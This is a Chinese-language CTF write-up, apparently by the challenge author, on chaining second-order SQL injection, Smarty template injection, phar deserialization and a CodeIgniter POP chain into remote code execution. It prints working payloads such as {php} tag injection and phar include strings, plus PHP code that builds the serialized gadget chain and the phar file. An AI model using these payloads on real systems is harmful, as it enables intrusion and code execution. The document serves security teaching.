前言
這道題思路其實(shí)就是,如果在php中遇到了模版注入,但是限制了不允許執(zhí)行php代碼的時(shí)候,怎么通過模版注入達(dá)到RCE的效果
考點(diǎn)
預(yù)期:
- 二次注入
- 模版注入
- phar反序列化
- CI RCE POP鏈挖掘
非預(yù)期:
- 二次注入
- 模版注入
- SSTI沙箱逃逸
二次注入

可以看到,在get_view的時(shí)候,通過session中的userid從數(shù)據(jù)庫中取出了用戶的username,之后對username進(jìn)行了兩次過濾,但是因?yàn)轫樞虿粚?,?dǎo)致sql注入的黑名單可以繞過:se{lect
然后模版的標(biāo)簽{可以通過sql的16進(jìn)制繞過,這兩步應(yīng)該是很容易看出來的
模版注入

可以看到,index這里調(diào)用了get_view方法,然后將獲取到的結(jié)果拼接到data協(xié)議中,之后將整個(gè)data協(xié)議的內(nèi)容直接插入到了display函數(shù)中,很容易發(fā)現(xiàn)這里有一個(gè)模版注入的問題,我們只要通過union select就可以控制整個(gè)模版的內(nèi)容。
這里有一點(diǎn)要注意的就是,我們需要將我們控制的字符串放到返回結(jié)果的第一行中,因?yàn)閡nion select是在原先查詢的下面添加一行結(jié)果,所以用limit 1,1即可返回我們控制的模版字符串
正文開始
因?yàn)楫?dāng)時(shí)將smarty嵌入到CI框架中,是根據(jù)網(wǎng)上其他師傅的博客來寫的,但是因?yàn)閰⒖嘉恼碌臅r(shí)間可能比較久,導(dǎo)致在整合的時(shí)候,其實(shí)是用的smartyBC,這是一個(gè)兼容低版本smarty的引擎,而不是最新的Smarty引擎
而這個(gè)SmartyBC就是一切非預(yù)期的開始
0x01 非預(yù)期解

在構(gòu)造方法中,為了不讓各位師傅直接通過SSTI執(zhí)行php命令,在這里設(shè)置了Smarty引擎的安全規(guī)則,默認(rèn)不允許任何php方法,不允許php腳本的解析,看起來是沒有什么問題,但是因?yàn)闆]有仔細(xì)看官方文檔,結(jié)果發(fā)現(xiàn)還是可以執(zhí)行php代碼

結(jié)果,php_handling不能限制{php}{/php}這樣的標(biāo)簽,所以師傅們直接通過{{php}}phpinfo();{{/php}}即可直接getshell,23333
這里我犯了兩個(gè)錯(cuò)誤:
- 沒有發(fā)現(xiàn)php_handling是不能限制{php}{/php}的
-
使用的是SmartyBC而不是Smarty,在Smarty中,這個(gè)標(biāo)簽已經(jīng)被廢棄了
image.png
所以直接:
data:,{{php}}phpinfo();{{/php}}

0x02 預(yù)期解
smarty對協(xié)議的處理
在CI中添加一個(gè)test路由,直接在display中調(diào)用data協(xié)議,使用xdebug跟一下display的邏輯


可以看到這里調(diào)用了createTemplate函數(shù),根據(jù)函數(shù)名,這里就是創(chuàng)建我們的模版的地方,跟進(jìn)去看一下,因我們傳入的字符串是$template變量,所以重點(diǎn)關(guān)注對$template的處理,跟到_getTemplateId函數(shù),進(jìn)入

這里根據(jù)我們傳入的字符串,拼接上模版目錄生成了一個(gè)字符串作為tempateId

這里實(shí)例化了一個(gè)對象,對應(yīng)的對象為:public $template_class = 'Smarty_Internal_Template';


在構(gòu)造函數(shù)中設(shè)置了很多屬性,重點(diǎn)關(guān)注$this->template_resource,$this->source,調(diào)用了Smarty_Template_Source的load方法
來到了重點(diǎn):load方法

這個(gè)正則,其實(shí)匹配了我們對display的輸入,將輸入的字符串根據(jù):分割,第一部分為協(xié)議名,第二部分為協(xié)議的內(nèi)容
我們進(jìn)入Smarty_Template_Source中

在smarty中,不同的協(xié)議有不同的handler來處理,這里通過Smarty_Resource::load來獲取對應(yīng)的handler

可以看到,在這里進(jìn)行了很多次判斷,是否是緩存,是否是注冊以后的模版等等的判斷,可以看到紅框框出來的地方進(jìn)行了對流的判斷
在stream_get_wrappers的地方,獲取了smarty支持的所有流的類型:

可以看到在smarty文檔中也提到了,smarty支持流的方式去獲取模版

這里只要我們的流在這個(gè)名單中,即可返回$handler(Smarty_Internal_Resource_Stream),也就是只要走到這一步,就會直接調(diào)用Smarty_Internal_Resource_Stream類的populate方法:

第一步將我們輸入的協(xié)議統(tǒng)一轉(zhuǎn)換為:data://這樣子,再調(diào)用getContent函數(shù)

通過fopen獲取到模版字符串
phar協(xié)議
smarty對協(xié)議的處理上面也分析過了,主要就是通過協(xié)議的不同,獲取不同的類進(jìn)行處理,不同協(xié)議的實(shí)現(xiàn)差異其實(shí)就是對應(yīng)的handler不同
所以我們只要關(guān)注handler的獲取就可以了,phar可以觸發(fā)反序列化這個(gè)漏洞應(yīng)該大家早就不陌生了,那么diaplay的參數(shù)可控,真的就可以觸發(fā)反序列化嗎?
payload: $this->ci_smarty->display('phar:///etc/passwd');

可以看到,獲取的還是Smarty_Internal_Resource_Stream,和data協(xié)議一樣,同樣會走到getContent

但是這里有個(gè)問題,想要使用fopen觸發(fā)phar反序列化,對應(yīng)的php.ini的phar.readonly的值必須要為false,而默認(rèn)是true,所以如果在默認(rèn)環(huán)境下,phar是無法觸發(fā)反序列化的。
奇怪的php協(xié)議
按照理論來說,php協(xié)議應(yīng)該會被Smarty_Internal_Resource_Stream所處理,但是如果你跟了php協(xié)議的handler的話,你會發(fā)現(xiàn)好像并不是這樣
$this->ci_smarty->display('php:phar:///xxx/xxx.phar');

這里我們剛開始沒有關(guān)注,但是如果你跟了php協(xié)議的處理的話,你會發(fā)現(xiàn)居然在這里sysplugins里面有php對應(yīng)的處理

所以在這里直接返回了smarty_internal_resource_php.php這個(gè)php文件中定義的類,也就是Smarty_Internal_Resource_Php這個(gè)類
可以看到不僅僅支持php,其他類沒有詳細(xì)看,有時(shí)間可以分析一下其他類是干什么的。
所以接下來會調(diào)用Smarty_Internal_Resource_Php這個(gè)類的populate方法,結(jié)果發(fā)現(xiàn)這個(gè)類并沒有這個(gè)方法,所以去父類去找,用ctrl+h可以很方便的看出來一個(gè)類的繼承關(guān)系

所以去Smarty_Internal_Resource_File這個(gè)類里面去找:

這里第一步調(diào)用了buildFilePath函數(shù),進(jìn)入這個(gè)函數(shù),可以看到有很多is_file的判斷,而is_file也是phar反序列化觸發(fā)的入口之一,而且不需要phar.readonly的限制,所以考慮是不是可以通過這種方式觸發(fā)反序列化
最后發(fā)現(xiàn)在170行,is_file函數(shù)參數(shù)完全可控,觸發(fā)反序列化:

這個(gè)時(shí)候,我們就可以通過:data:,{{include file="php:phar:///tmp/xxxxx/xx.phar}}來觸發(fā)phar反序列化
現(xiàn)在,我們可以觸發(fā)反序列化了,接下來,我們需要找一個(gè)pop鏈,來達(dá)到RCE的效果
很沙雕的pop鏈
CI這個(gè)框架,pop鏈確實(shí)不是很好找(也是我tcl),這里有一個(gè)很重要的原因,CI框架的類不是自動加載的,而是按需加載的,要加載的類,需要在config文件里面添加,導(dǎo)致全局搜索起來__destruct方法貌似很多,但是實(shí)際上沒法用,23333
找了半天,總算找了個(gè)文件包含,但是限制了文件名要滿足一定格式,而且要知道m(xù)ysql的用戶名和密碼,就很憨憨。。。。
這也就是為什么我沒有限制文件的后綴名
先全局搜索__destruct方法,發(fā)現(xiàn)在Cache_redis中有一個(gè)__destruct方法,調(diào)用了任意一個(gè)對象的close方法

然后全局搜索close方法,在CI_Session_database_driver中調(diào)用了本類中的_release_lock方法

在這里又調(diào)用了db屬性的query方法,所以我們可以通過這個(gè)地方調(diào)用任意的query方法

發(fā)現(xiàn)query這個(gè)方法是DB_driver實(shí)現(xiàn)的,在里面有一個(gè)load_rdriver函數(shù)

看到里面的$this->dbdriver可控,所以說我們可以通過目錄穿越,來包含到任意目錄下的xxx_result.php文件,從而達(dá)到RCE的目的

但是想要進(jìn)入到load_rdriver函數(shù),要保證前面的所有函數(shù)都正常執(zhí)行,而在前面有一處sql語句執(zhí)行,如果執(zhí)行不成功的話就無法到load_rdriver的地方,所以我們需要正確的mysql配置來繞過

這樣就可以利用這個(gè)文件包含達(dá)到RCE的效果。
寫exp
因?yàn)楹芏鄬傩远疾皇莗ublic的,而且我們要保證mysql的連接對象沒有任何問題,所以我們可以通過向pop鏈中的類添加一些公共的set方法來覆蓋其中的屬性,和java bean一樣
// Cache_redis
public function set($param){
$this->_redis = $param;
}
// Session_database_driver
public function set($param1){
$this->_lock = TRUE;
$this->_platform = "mysql";
$this->_db = $param1;
}
// mysqli_driver
public function set(){
$this->dbdriver = "../../../../../../../tmp/a";
}
// 控制器
public function payload(){
$obj1 = $this->cache->redis;
$obj2 = $this->session;
$obj3 = $this->db;
$obj2->set($obj3);
$obj1->set($obj2);
echo urlencode(serialize($obj1));
}
這里因?yàn)閝uery是在DB_driver中的,所以,db對象應(yīng)該是CI_DB_mysqli_driver

生成phar文件:
public function payload(){
$obj1 = $this->cache->redis;
$obj2 = $this->session;
$obj3 = $this->db;
$obj2->set($obj3);
$obj1->set($obj2);
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設(shè)置stub
$phar->setMetadata($obj1); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計(jì)算
$phar->stopBuffering();
}
上傳phar文件到tmp下面,之后調(diào)用:{{include file="php:phar:///tmp/xxxx/xx.phar"}}即可
